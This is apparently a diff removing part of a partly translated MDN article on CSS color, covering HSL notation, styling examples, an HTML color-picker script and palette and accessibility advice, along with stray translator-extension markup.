- <dt><code>alpha</code></dt>
- <dd>The alpha channel is a number between 0.0 (fully transparent) and 1.0 (fully opaque). You can also specify a percentage where 0% is the same as 0.0 and 100% is the same as 1.0.</dd>
-</dl>
-
-<p>For example, a bright red that's 50% opaque can be represented as <code>rgb(255, 0, 0, 0.5)</code> or <code>rgb(100%, 0, 0, 50%)</code>.</p>
-
-<h3 id="Notação_funcional_de_HSL">Notação funcional de HSL</h3>
-
-<p>Designers and artists often prefer to work using the {{interwiki("wikipedia", "HSL and HSV", "HSL")}} (Hue/Saturation/Luminosity) color method. On the web, HSL colors are represented using HSL functional notation. The <code>hsl()</code> CSS function is very similar to the <code>rgb()</code> function in usage otherwise.</p>
-
-<div style="padding-bottom: 20px;">
-<figure style="width: 500px;"><img alt="HSL color cylinder" src="https://mdn.mozillademos.org/files/15445/1200px-HSL_color_solid_cylinder_alpha_lowgamma.png" style="height: 375px; width: 500px;">
-<figcaption><em><strong>Figure 1. An HSL color cylinder.</strong> Hue defines the actual color based on the position along a circular color wheel representing the colors of the visible spectrum. Saturation is a percentage of how much of the way between being a shade of gray and having the maximum possible amount of the given hue. As the value of luminance (or lightness) increases, the color transitions from the darkest possible to the brightest possible (from black to white). Image courtesy of user <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a> on <a href="https://www.wikipedia.org/">Wikipedia</a>, distributed under the <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> license.</em></figcaption>
-</figure>
-</div>
-
-<p>The value of the hue (H) component of an HSL color is an angle from red around through yellow, green, cyan, blue, and magenta (ending up back at red again at 360°) that identifies what the base color is. The value can be specified in any {{cssxref("&lt;angle&gt;")}} unit supported by CSS, including degrees (<code>deg</code>), radians (<code>rad</code>), gradians (<code>grad</code>), or turns (<code>turn</code>). But this doesn't control how vivid or dull, or how bright or dark the color is.</p>
-
-<p>The saturation (S) component of the color specifies what percentage of the final color is comprised of the specified hue. The rest is defined by the grey level provided by the luminance (L) component.</p>
-
-<p>Think of it like creating the perfect paint color:</p>
-
-<ol>
- <li>You start with base paint that's the maximum intensity possible for a given color, such as  the most intense blue that can be represented by the user's screen. This is the <strong>hue</strong> (H) component: a value representing the angle around the color wheel for the vivid hue we want to use as our base.</li>
- <li>Then select a greyscale paint that corresponds how bright you want the color to be; this is the luminance. Do you want it to be very bright and nearly white, or very dark and closer to black, or somewhere in between? This is specified using a percentage, where 0% is perfectly black and 100% is perfectly white. (regardless of the saturation or hue). In between values are a literal grey area.</li>
- <li>Now that you have a grey paint and a perfectly vivid color, you need to mix them together. The saturation (S) component of the color indicates what percentage of the final color should be comprised of that perfectly vivid color. The rest of the final color is made up of the grey paint that represents the saturation.</li>
-</ol>
-
-<p>You can also optionally include an alpha channel, to make the color less than 100% opaque.</p>
-
-<p>Here are some sample colors in HSL notation:</p>
-
-<div id="hsl-swatches">
-<div class="hidden">
-<pre class="brush: css">table {
- border: 1px solid black;
- font: 16px "Open Sans", Helvetica, Arial, sans-serif;
- border-spacing: 0;
- border-collapse: collapse;
-}
-
-th, td {
- border: 1px solid black;
- padding:4px 6px;
- text-align: left;
-}
-
-th {
- background-color: hsl(0, 0%, 75%);
-}</pre>
-
-<pre class="brush: html">&lt;table&gt;
- &lt;thead&gt;
- &lt;tr&gt;
- &lt;th scope="col"&gt;Color in HSL notation&lt;/th&gt;
- &lt;th scope="col"&gt;Example&lt;/th&gt;
- &lt;/tr&gt;
- &lt;/thead&gt;
- &lt;tbody&gt;
- &lt;tr&gt;
- &lt;td&gt;&lt;code&gt;hsl(90deg, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
- &lt;td style="background-color: hsl(90deg, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;&lt;code&gt;hsl(90, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
- &lt;td style="background-color: hsl(90, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;&lt;code&gt;hsl(0.15turn, 50%, 75%)&lt;/code&gt;&lt;/td&gt;
- &lt;td style="background-color: hsl(0.15turn, 50%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 75%)&lt;/code&gt;&lt;/td&gt;
- &lt;td style="background-color: hsl(0.15turn, 90%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
- &lt;td style="background-color: hsl(0.15turn, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;&lt;code&gt;hsl(270deg, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
- &lt;td style="background-color: hsl(270deg, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
- &lt;/tr&gt;
- &lt;/tbody&gt;
-&lt;/table&gt;</pre>
-</div>
-
-<p>{{EmbedLiveSample("hsl-swatches", 300, 260)}}</p>
-</div>
-
-<div class="note">
-<p>Note that when you omit the hue's unit, it's assumed to be in degrees (<code>deg</code>).</p>
-</div>
-
-<h2 id="Utilizar_a_cor">Utilizar a cor</h2>
-
-<p>Now that you know what CSS properties exist that let you apply color to elements and the formats you can use to describe colors, you can put this together to begin to make use of color. As you may have seen from the list under {{anch("Things that can have color")}}, there are plenty of things you can color with CSS. Let's look at this from two sides: using color within a {{Glossary("stylesheet")}}, and adding and changing color using {{Glossary("JavaScript")}} code to alter the styles of elements.</p>
-
-<h3 id="Especificar_cores_nas_folhas_de_estilo">Especificar cores nas folhas de estilo</h3>
-
-<p>The easiest way to apply color to elements—and the way you'll usually do it—is to simply specify colors in the CSS that's used when rendering elements. While we won't use every single property mentioned previously, we'll look at a couple of examples. The concept is the same anywhere you use color.</p>
-
-<p>Let's take a look at an example, starting by looking at the results we're trying to achieve:</p>
-
-<div>{{EmbedLiveSample("Specifying_colors_in_stylesheets", 650, 150)}}</div>
-
-<h4 id="HTML">HTML</h4>
-
-<p>The HTML responsible for creating the above example is shown here:</p>
-
-<pre class="brush: html">&lt;div class="wrapper"&gt;
- &lt;div class="box boxLeft"&gt;
- &lt;p&gt;
- This is the first box.
- &lt;/p&gt;
- &lt;/div&gt;
- &lt;div class="box boxRight"&gt;
- &lt;p&gt;
- This is the second box.
- &lt;/p&gt;
- &lt;/div&gt;
-&lt;/div&gt;</pre>
-
-<p>This is pretty simple, using a {{HTMLElement("div")}} as a wrapper around the contents, which consists of two more <code>&lt;div&gt;</code>s, each styled differently with a single paragraph ({{HTMLElement("p")}}) in each box.</p>
-
-<p>The magic happens, as usual, in the CSS, where we'll apply colors define the layout for the HTML above.</p>
-
-<h4 id="CSS">CSS</h4>
-
-<p>We'll look at the CSS to create the above results a piece at a time, so we can review the interesting parts one by one.</p>
-
-<pre class="brush: css">.wrapper {
- width: 620px;
- height: 110px;
- margin: 0;
- padding: 10px;
- border: 6px solid mediumturquoise;
-}</pre>
-
-<p>The <code>.wrapper</code> class is used to assign styles to the {{HTMLElement("div")}} that encloses all of our other content. This establishes thesize of the container using {{cssxref("width")}} and {{cssxref("height")}} as well as its {{cssxref("margin")}} and {{cssxref("padding")}}.</p>
-
-<p>Of more interest to our discussion here is the use of the {{cssxref("border")}} property to establish a border around the outside edge of the element. This border is a solid line, 6 pixels wide, in the color <code>mediumturquoise</code>.</p>
-
-<p>Our two colored boxes share a number of properties in common, so next we establish a class, <code>.box</code>, that defines those shared properties:</p>
-
-<pre class="brush: css">.box {
- width: 290px;
- height: 100px;
- margin: 0;
- padding: 4px 6px;
- font: 28px "Marker Felt", "Zapfino", cursive;
- display: flex;
- justify-content: center;
- align-items: center;
-}</pre>
-
-<p>In brief, <code>.box</code> establishes the size of each box, as well as the configuration of the font used within. We also take advantage of <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a> to easily center the contents of each box. We enable <code>flex</code> mode using {{cssxref("display", "display: flex")}}, and set both {{cssxref("justify-content")}} and {{cssxref("align-items")}} to <code>center</code>. Then we can create a class for each of the two boxes that defines the propeties that differ between the two.</p>
-
-<pre class="brush: css">.boxLeft {
- float: left;
- background-color: rgb(245, 130, 130);
- outline: 2px solid darkred;
-}</pre>
-
-<p>The <code>.boxLeft</code> class—which, cleverly, is used to style the box on the left—floats the box to the left, then sets up the colors:</p>
-
-<ul>
- <li>The box's background color is set by changing the value of the CSS {{cssxref("background-color")}} property to <code>rgb(245, 130, 130)</code>.</li>
- <li>An outline is defined for the box. Unlike the more commonly used <code>border</code>, {{cssxref("outline")}} doesn't affect layout at all; it draws over the top of whatever may happen to be outside the element's box instead of making room as <code>border</code> does. This outline is a solid, dark red line that's two pixels thick. Note the use of the <code>darkred</code> keyword when specifying the color.</li>
- <li>Notice that we're not explicitly setting the text color. That means the value of {{cssxref("color")}} will be inherited from the nearest containing element that defines it. By default, that's black.</li>
-</ul>
-
-<pre class="brush: css">.boxRight {
- float: right;
- background-color: hsl(270deg, 50%, 75%);
- outline: 4px dashed rgb(110, 20, 120);
- color: hsl(0deg, 100%, 100%);
- text-decoration: underline wavy #88ff88;
- text-shadow: 2px 2px 3px black;
-}</pre>
-
-<p>Finally, the <code>.boxRight</code> class describes the unique properties of the box that's drawn on the right. It's configured to float the box to the right so that it appears next to the previous box. Then the following colors are established:</p>
-
-<ul>
- <li>The <code>background-color</code> is set using the HSL value specified using <code>hsl(270deg, 50%, 75%)</code>. This is a medium purple color.</li>
- <li>The box's <code>outline</code> is used to specify that the box should be enclosed in a four pixel thick dashed line whose color is a somewhat deeper purple (<code>rgb(110, 20, 120)</code>).</li>
- <li>The foreground (text) color is specified by setting the {{cssxref("color")}} property to <code>hsl(0deg, 100%, 100%)</code>. This is one of many ways to specify the color white.</li>
- <li>We add a green wavy line under the text with {{cssxref("text-decoration")}}.</li>
- <li>Finally, a bit of a shadow is added to the text using {{cssxref("text-shadow")}}. Its <code>color</code> parameter is set to <code>black</code>.</li>
-</ul>
-
-<h2 id="Deixar_que_o_utilizador_escolha_uma_cor">Deixar que o utilizador escolha uma cor</h2>
-
-<p>There are many situations in which your web site may need to let the user select a color. Perhaps you have a customizable user interface, or you're implementing a drawing app. Maybe you have editable text and need to let the user choose the text color. Or perhaps your app lets the user assign colors to folders or items. Although historically it's been necessary to implement your own {{interwiki("wikipedia", "color picker")}}, HTML now provides support for browsers to provide one for your use through the {{HTMLElement("input")}} element, by using <code>"color"</code> as the value of its {{htmlattrxref("type", "input")}} attribute.</p>
-
-<p>The <code>&lt;input&gt;</code> element represents a color only in the {{anch("Hexadecimal string notation", "hexadecimal string notation")}} covered above.</p>
-
-<h3 id="Exemplo_Escolher_uma_cor">Exemplo: Escolher uma cor</h3>
-
-<p>Let's look at a simple example, in which the user can choose a color. As the user adjusts the color, the border around the example changes to reflect the new color. After finishing up and picking the final color, the color picker's value is displayed.</p>
-
-<p>{{EmbedLiveSample("Example_Picking_a_color", 525, 275)}}</p>
-
-<div class="note">
-<p>On macOS, you indicate that you've finalized selection of the color by closing the color picker window.</p>
-</div>
-
-<h4 id="HTML_2">HTML</h4>
-
-<p>The HTML here creates a box that contains a color picker control (with a label created using the {{HTMLElement("label")}} element) and an empty paragraph element ({{HTMLElement("p")}}) into which we'll output some text from our JavaScript code.</p>
-
-<pre class="brush: html">&lt;div id="box"&gt;
- &lt;label for="colorPicker"&gt;Border color:&lt;/label&gt;
- &lt;input type="color" value="#8888ff" id="colorPicker"&gt;
- &lt;p id="output"&gt;&lt;/p&gt;
-&lt;/div&gt;</pre>
-
-<h4 id="CSS_2">CSS</h4>
-
-<p>The CSS simply establishes a size for the box and some basic styling for appearances. The border is also established with a 2-pixel width and a border color that won't last, courtesy of the JavaScript below...</p>
-
-<pre class="brush: css">#box {
- width: 500px;
- height: 200px;
- border: 2px solid rgb(245, 220, 225);
- padding: 4px 6px;
- font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
-}</pre>
-
-<h4 id="JavaScript">JavaScript</h4>
-
-<p>The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the <code><a href="/en-US/docs/Web/HTML/Element/input/color">&lt;input type="color"&gt;</a></code> element.</p>
-
-<pre class="brush: js">let colorPicker = document.getElementById("colorPicker");
-let box = document.getElementById("box");
-let output = document.getElementById("output");
-
-box.style.borderColor = colorPicker.value;
-
-colorPicker.addEventListener("input", function(event) {
- box.style.borderColor = event.target.value;
-}, false);
-
-colorPicker.addEventListener("change", function(event) {
- output.innerText = "Color set to " + colorPicker.value + ".";
-}, false);</pre>
-
-<p>The {{event("input")}} event is sent every time the value of the element changes; that is, every time the user adjusts the color in the color picker. Each time this event arrives, we set the box's border color to match the color picker's current value.</p>
-
-<p>The {{event("change")}} event is received when the color picker's value is finalized. We respond by setting the contents of the <code>&lt;p&gt;</code> element with the ID <code>"output"</code> to a string describing the finally selected color.</p>
-
-<h2 id="Utilizar_a_cor_com_sabedoria">Utilizar a cor com sabedoria</h2>
-
-<p>Making the right choices when selecting colors when designing a web site can be a tricky process, especially if you aren't well-grounded in art, design, or at least basic color theory. The wrong color choice can render your site unattractive, or even worse, leave the content unreadable due to problems with contrast or conflicting colors. Worse still, if using the wrong colors can result in your content being outright unusable by people withcertain vision problems, particularly color blindness.</p>
-
-<h3 id="Encontrar_as_cores_corretas">Encontrar as cores corretas</h3>
-
-<p>Coming up with just the right colors can be tricky, especially without training in art or design. Fortunately, there are tools available that can help you. While they can't replace having a good designer helping you make these decisions, they can definitely get you started.</p>
-
-<h4 id="Cor_base">Cor base</h4>
-
-<p>The first step is to choose your <strong>base color</strong>. This is the color that in some way defines your web site or the subject matter of the site. Just as we associate green with the beverage {{interwiki("wikipedia", "Mountain Dew")}} and one might think of the color blue in relationship with the sky or the ocean, choosing an appropriate base color to represent your site is a good place to start. There are plenty of ways to select a base color; a few ideas include:</p>
-
-<ul>
- <li>A color that is naturally associated with the topic of your content, such as the existing color identified with a product or idea or a color representative of the emotion you wish to convey.</li>
- <li>A color that comes from imagery associated with what your content is about. If you're creating a web site about a given item or product, choose a color that's physically present on that item.</li>
- <li>Browse web sites that let you look at lots of existing color palettes and imags to find inspiration.</li>
-</ul>
-
-<p>When trying to decide upon a base color, you may find that browser extensions that let you select colors from web content can be particularly handy. Some of these are even specifically designed to help with this sort of work. For example, the web site <a href="http://www.colorzilla.com/">ColorZilla</a> offers an extension (<a href="http://www.colorzilla.com/chrome">Chrome</a> / <a href="http://www.colorzilla.com/firefox">Firefox</a>) that offers an eyedropper tool for picking colors from the web. It can also take averages of the colors of pixels in various sized areas or even a selected area of the page.</p>
-
-<div class="note">
-<p>The advantage to averaging colors can be that often what looks like a solid color is actually a surprisingly varied number of related colors all used in concert, blending to create a desired effect. Picking just one of these pixels can result in getting a color that on its own looks very out of place.</p>
-</div>
-
-<h4 id="Fleshing_out_the_palette">Fleshing out the palette</h4>
-
-<p>Once you have decided on your base color, there are plenty of online tools that can help you build out a palette of appropriate colors to use along with your base color by applying color theory to your base color to determine appropriate added colors. Many of these tools also support viewing the colors filtered so you can see what they would look like to people with various forms of color blindness. See {{anch("Color and accessibility")}} for a brief explanation of why this matters.</p>
-
-<p>A few examples (all free to use as of the time this list was last revised):</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool">MDN's color picker tool</a></li>
- <li><a href="http://paletton.com">Paletton</a></li>
- <li><a href="https://color.adobe.com/create/color-wheel">Adobe Color CC online color wheel</a></li>
-</ul>
-
-<p>When designing your palette, be sure to keep in mind that in addition to the colors these tools typically generate, you'll probably also need to add some core neutral colors such as white (or nearly white), black (or nearly black), and some number of shades of gray.</p>
-
-<div class="note">
-<p>Usually, you are far better off using the smallest number of colors possible. By using color to accentuate rather than adding color to everything on the page, you keep your content easy to read and the colors you do use have far more impact.</p>
-</div>
-
-<h3 id="Color_theory_resources">Color theory resources</h3>
-
-<p>A full review of color theory is beyond the scope of this article, but there are plenty of articles about color theory available, as well as courses you can find at nearby schools and universities. A couple of useful resources about color theory:</p>
-
-<dl>
- <dt><a href="https://www.khanacademy.org/partner-content/pixar/color">Color Science</a> (<a href="https://www.khanacademy.org/">Khan Academy</a> in association with <a href="https://www.pixar.com/">Pixar</a>)</dt>
- <dd>An online course which introduces concepts such as what color is, how it's percieved, and how to use colors to express ideas. Presented by Pixar artists and designers.</dd>
- <dt>{{interwiki("wikipedia", "Color theory")}} on Wikipedia</dt>
- <dd>Wikipedia's entry on color theory, which has a lot of great information from a technical perspective. It's not really a resource for helping you with the color sleection process, but is still full of useful information.</dd>
-</dl>
-
-<h3 id="Cor_e_acessibilidade">Cor e acessibilidade</h3>
-
-<p>There are several ways color can be an {{Glossary("accessibility")}} problem. Improper or careless use of color can result in a web site or app that a percentage of your target audience may not be able to use adequately, resulting in lost traffic, lost business, and possibly even a public relations problem. So it's important to consider your use of color carefully.</p>
-
-<p>You should do at least basic research into {{interwiki("wikipedia", "color blindness")}}. There are several kinds; the most common is red-green color blindness, which causes people to be unable to differentiate between the colors red and green. There are others, too, ranging from inabilities to tell the difference between certain colors to total inability to see color at all.</p>
-
-<div class="note">
-<p>The most important rule: never use color as the only way to know something. If, for example, you indicate success or failure of an operation by changing the color of a shape from white to green for success and red for failure, users with red-green color-blindness won't be able to use your site properly. Instead, perhaps use both text and color together, so that everyone can understand what's happening.</p>
-</div>
-
-<p>For more information about color blindness, see the following articles:</p>
-
-<ul>
- <li><a href="https://medlineplus.gov/colorblindness.html">Medline Plus: Color Blindness</a> (United States National Institute of Health)</li>
- <li><a href="https://www.aao.org/eye-health/diseases/what-is-color-blindness">American Academy of Ophthamology: What Is Color Blindness?</a></li>
- <li><a href="https://www.usability.gov/get-involved/blog/2010/02/color-blindness.html">Color Blindness &amp; Web Design</a> (Usability.gov: United States Department of Health and Human Services)</li>
-</ul>
-
-<h3 id="Exemplo_da_paleta_de_desenho">Exemplo da paleta de desenho</h3>
-
-<p>Let's consider a quick example of selecting an appropriate color palette for a site. Imagine that you're building a web site for a new game that takes place on the planet Mars. So let's do a <a href="https://www.google.com/search?q=Mars&amp;tbm=isch">Google search for photos of Mars</a>. Lots of good examples of Martian coloration there. We carefully avoid the mockups and the photos from movies. And we decide to use a photo taken by one of the Mars landers humanity has parked on the surface over the last few decades, since the game takes place on the planet's surface. We use a color picker tool to select a sample of the color we choose.</p>
-
-<p>Using an eyedropper tool, we identify a color we like and determine that the color in question is <code>#D79C7A</code>, which is an appropriate rusty orange-red color that's so stereotypical of the Martian surface.</p>
-
-<p>Having selected our base color, we need to build out our palette. We decide to use <a href="http://www.paletteon.com/">Paletteon</a> to come up with the other colors we need. Upon opening Paletton, we see:</p>
-
-<p><img alt="Right after loading Paletton." src="https://mdn.mozillademos.org/files/15451/paletton1.png" style="height: 361px; width: 600px;"></p>
-
-<p>Next, we enter our color's hex code (<code>D79C7A</code>) into the "Base RGB" box at the bottom-left corner of the tool:</p>
-
-<p><img alt="After entering base color" src="https://mdn.mozillademos.org/files/15453/paletton2.png" style="height: 361px; width: 600px;"></p>
-
-<p>We now see a monochromatic palette based on the color we picked from the Mars photo. If you need a lot of related colors for some reason, those are likely to be good ones. But what we really want is an accent color. Something that will pop along side the base color. To find that, we click the "add complementary" toggle underneath the menu that lets you select the palette type (currently "Monochromatic"). Paletton computes an appropriate accent color; clicking on the accent color down in the bottom-right corner tells us that this color is <code>#508D7C</code>.</p>
-
-<p><img alt="Now with complementary colors included." src="https://mdn.mozillademos.org/files/15455/paletton3.png" style="height: 361px; width: 600px;"></p>
-
-<p>If you're unhappy with the color that's proposed to you, you can change the color scheme, to see if you find something you like better. For example, if we don't like the proposed greenish-blue color, we can click the Triad color scheme icon, which presents us with the following:</p>
-
-<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15457/paletton4.png" style="height: 361px; width: 600px;"></p>
-
-<p>That greyish blue in the top-right looks pretty good. Clicking on it, we find that it's <code>#556E8D</code>. That would be used as the accent color, to be used sparingly to make things stand out, such as in headlines or in the highlighting of tabs or other indicators on the site:</p>
-
-<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15459/paletton-color-detail.png" style="height: 370px; width: 526px;"></p>
-
-<p>Now we have our base color and our accent. On top of that, we have a few complementary shades of each, just in case we need them for gradients and the like. The colors can then be exported in a number of formats so you can make use of them.</p>
-
-<p>Once you have these colors, you will probably still need to select appropriate neutral colors. Common design practice is to try to find the sweet spot where there's just enough contrast that the text is crisp and readable but not enough contrast to become harsh for the eyes. It's easy to go too far in one way or another so be sure to get feedback on your colors once you've selected them and have examples of them in use available. If the contrast is too low, your text will tend to be washed out by the background, leaving it unreadable, but if your contrast is too high, the user may find your site garish and unpleasant to look at.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li>
- <li><a href="/en-US/docs/Web/Guide/Graphics">Graphics on the web</a></li>
- <li><a href="/en-US/docs/Tools/DevToolsColors">MDN's color picker tool</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: block; opacity: 0; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" style="display: none; margin-top: 30px; margin-left: 1px; direction: ltr; text-align: left;"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
